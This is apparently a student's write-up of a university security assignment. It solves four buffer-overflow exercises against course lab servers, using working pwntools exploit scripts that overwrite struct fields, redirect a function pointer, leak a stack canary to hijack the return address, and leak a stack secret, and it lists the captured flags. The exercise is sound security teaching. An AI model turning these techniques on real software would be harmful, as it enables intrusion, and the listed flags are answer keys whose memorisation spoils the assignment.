INF226_Assignment_1

Secrets

1. {inf226_2024_m4yb3_y0u_1ik3_t34_b3tt3r}
2. {inf226_2024_13t5_f14ming0!}
3. {inf226_2024_1nd14n4_j0n35_w0uld_b3_pr0ud}
4. {inf226_2024_n0_gu35t_5h0ld_kn0w}

Exercise 1

Vulnerability overview

The vulnerability of the code in exercise 1 lies in the fact that the size of `locals.buffer` is 16 bytes, but the `fgets` function on line 15 reads up to 1024 bytes and assigns it to buffer. The vulnerability arises after the 16 byte buffer is filled, the rest of the input may overflow into adjacent memory. The `locals` structure is constructed by two properties; firstly `locals.buffer` then `locals.secret`. We can use these two facts together to overflow the buffer and overwrite the data stored in `locals.secret`. This is crucial as `locals.secret` is responsible for some important logic restricting the user from reaching the flag.

How to exploit

The idea is to overwrite the `locals.buffer` and assign another value to the `locals.secret` variable. We should assign the value hexadecimal value, 'c0ffee' to the variable in order to access the part of the program that exploits the flag. We know that the properties of a struct are located after each other in memory. To exploit this program, we can fill `locals.buffer` variable with junk data, e.g. `('A' * 16)` when asked for input. Additionally, we can overflow the buffer with 0xc0ffee which gets assigned to `locals.secret`. This grants us access to the flag!

Code

```
import pwn

target = 'oblig1.bufferoverflow.no'
port = 7001

payload = b"A" * 16 + pwn.p64(0xc0ffee)

remote = pwn.remote(target, port)

print(remote.recvline())
```

```
remote.sendline(payload)

print(remote.recvall())
remote.close()
```

Secret

{inf226_2024_m4yb3_y0u_1ik3_t34_b3tt3r}

Exercise 2

Vulnerability overview

Similarly to Exercise 1, the vulnerability in the code is the possibility of buffer overflow. The `locals` struct contains a 32 bytes large buffer `locals.buffer`, and a function pointer `locals.func_pt`. Later in the program, the function pointer `locals.func_pt` is assigned to point to the `pick_animal` function, and lastly, `locals.func_pt` is called. However, the possibility to overflow `locals.buffer`, and overwrite `locals.func_pt` represents a serious vulnerability. We can redirect the execution of `locals.func_pt` to an unintended function, namely `expose_flag`. `expose_flag` also happens to expose some information which should be kept secret…

How to exploit

Here the idea is to get the `expose_flag` function to be called, even though it is never really called by just running `main()`. Since we have access to the binary file, we can for example use `objdump -d <filename>` to find the correct memory address of the `expose_flag` function. Thereafter, we fill the `locals.buffer` variable with 32 bytes of junk data (e.g. ('A' * 32)) and write the memory address of `expose_flag` into `locals.func_pt`. This entails that the function pointer `locals.func_pt` will point to `expose_flag` instead of `pick_animal`. When `locals.func_pt` is called on line 42, `expose_flag` will be called, and the flag will be revealed!

Code

```
import pwn

target = 'oblig1.bufferoverflow.no'
port = 7002

payload = b'A' * 32 + pwn.p64(0x4011a6)

remote = pwn.remote(target, port)
```

```
print(remote.recvline())

remote.sendline(payload)

print(remote.recvall())
remote.close()
```

Secret

{inf226_2024_13t5_f14ming0!}

Exercise 3

Vulnerability overview

In this program the vulnerability lies in the fact that there exists a variable `buffer` with size 16 bytes that can be overflown. There also exists a function `expose_flag` which is unused, but reveals a piece of information that should be kept secret. The program is equipped with a security mechanism called a stack canary. This mechanism is meant to catch buffer overflows by assigning a randomly generated value to a specific location in the memory, and checking whether this value remains unchanged. If this value gets changed, the program will throw an error, and the exploitation attempt is stopped. The problem with this program is the fact that the stack canary-value can be revealed. In line 22 the variable `exploration_offset` is added to `buffer`, which is a pointer. This is called pointer arithmetic and because we can assign any value to `exploration_offset` with the `scanf` function on line 18, we can essentially have a look at the value at any memory address in the stack. This is also part of the vulnerability in this program, because it makes it possible to retrieve the value of the stack canary.

How to exploit

To exploit the vulnerability, firstly we need to locate the stack canary. This can be done using gdb by observing which memory addresses near the buffer change over several reruns. We found the the stack canary to be located 24 bytes after the `buffer` variable on the stack. We therefore use the value 24 as the `exploration_offset`. Using this value, we can reveal the value of the canary, which will be used to create a payload. Furthermore we need to use objdump to find the memory address of the `expose_flag` function. Here we need to locate the `movq` instruction, since the `movq` instruction makes sure that the correct address is loaded into the instruction pointer, and create a payload which we assign to `buffer`. The payload must consist of:

Junk data to fill the buffer + Junk data to fill the offset to the stack canary + The value of the stack canary + The offset to the return pointer + The memory address of the `expose_flag()` function = payload to exploit the vulnerability and expose the flag

We find the address of the return pointer by running `info frame` while running the program in gdb. After finding the address of the return pointer we can calculate the total distance from the buffer to the return pointer. We find that it is 40 bytes. We can then determine the remaining offset from the canary to the return pointer.

Bufferfill (16 bytes) + Offset to canary (8 bytes) + Canary value (8 bytes) + Remaining offset to return pointer (8 bytes) = Distance from buffer to return pointer (40 bytes)

By inserting this payload we overwrite the return pointers value with a reference to the `expose_flag` function. The function therefore gets called, and the flag is exposed!

Code

```
import pwn

target = 'oblig1.bufferoverflow.no'
port = '7003'

buffer_to_canary_offset = b'24'
bufferfill = b'A' * int(buffer_to_canary_offset)
canary_to_return_p_offset = b'B' * 8
expose_flag_adr = pwn.p64(0x4011a7)

remote = pwn.remote(target, port)

print(remote.recvline())
remote.sendline(buffer_to_canary_offset)

print(remote.recvline())
read_canary = remote.recvline()
print(read_canary)

canary_val = pwn.p64(int(read_canary, 16))

payload = bufferfill + canary_val + canary_to_return_p_offset
          + expose_flag_adr

remote.sendline(payload)

print(remote.recvall())
remote.close()
```

Secret

{inf226_2024_1nd14n4_j0n35_w0uld_b3_pr0ud}

Exercise 4

Vulnerability overview

As in the previous tasks, this program also contains a buffer overflow vulnerability. Here specifically, we can overwrite the value of the `input_wrapper.identifier` pointer when prompted for input for the `input_wrapper.buffer`. Additionally, the `offset` variable is determined by user input, and as line 25 performs some pointer arithmetic, we can find the true value of the `secret` variable. By finding the value of the `secret` variable, we can overwrite the value stored in `input_wrapper.identifier`. This allows us to bypass a check which will expose the desired flag.

How to exploit

We see that this program starts by the `main()` function checking whether the argument count (`argc`) is less than two, and if so, terminates the program. If the argument count is 2 or higher the program runs the `program` function. Upon connecting to the server where the program is ran, the user is prompted with "Welcome, you have access to this program as: Guest". This confirms that the `program` function has been called, meaning that `argc` is greater than one, and the second argument (`argv[1]`) is passed as the `secret` parameter into the `program` function. In C, the first six function arguments are typically passed via registers, but the 7th argument is pushed onto the stack. Conveniently, the 7th argument is `secret`. This is important, as it entails that the value of `secret` resides on the stack. The vulnerability is exploited by manipulating the `offset` variable. With the correct offset value, pointer arithmetic allows us to reveal the contents of memory near `input_wrapper.buffer`. Using a debugger, in this case gdb, we discover that the `secret` argument is stored 48 bytes before `input_wrapper.buffer`. Now we can set the `offset` to `-48`, and the program will print the value of `secret` from the stack on line 25. With knowledge of the value of `secret`, we can exploit the buffer overflow. When prompted for input again, we input 16 bytes of junk data (the size of `input_wrapper.buffer`), followed by the newly discovered value of secret. This will overwrite the `input_wrapper.identifier` pointer with the value of `secret`. Now that the `identifier` is overwritten with `secret`, the program will pass the `strcmp` check (since `input_wrapper.identifier` now points to the same string as `secret`), allowing us to retrieve the flag!

Code

```
import pwn
```

```python
target = 'oblig1.bufferoverflow.no'
port = '7004'

bufferfill = b'A' * 16
buffer_to_secret_dst = b'-48'

remote = pwn.remote(target, port)

print(remote.recvline())
print(remote.recvline())

remote.sendline(buffer_to_secret_dst)

print(remote.recvline())

read_secret = remote.recvline()
print(read_secret)

secret_val = pwn.p64(int(read_secret, 16))

print(remote.recvline())

remote.sendline(bufferfill + secret_val)

print(remote.recvall())
remote.close()
```

Secret

{inf226_2024_n0_gu35t_5h0ld_kn0w}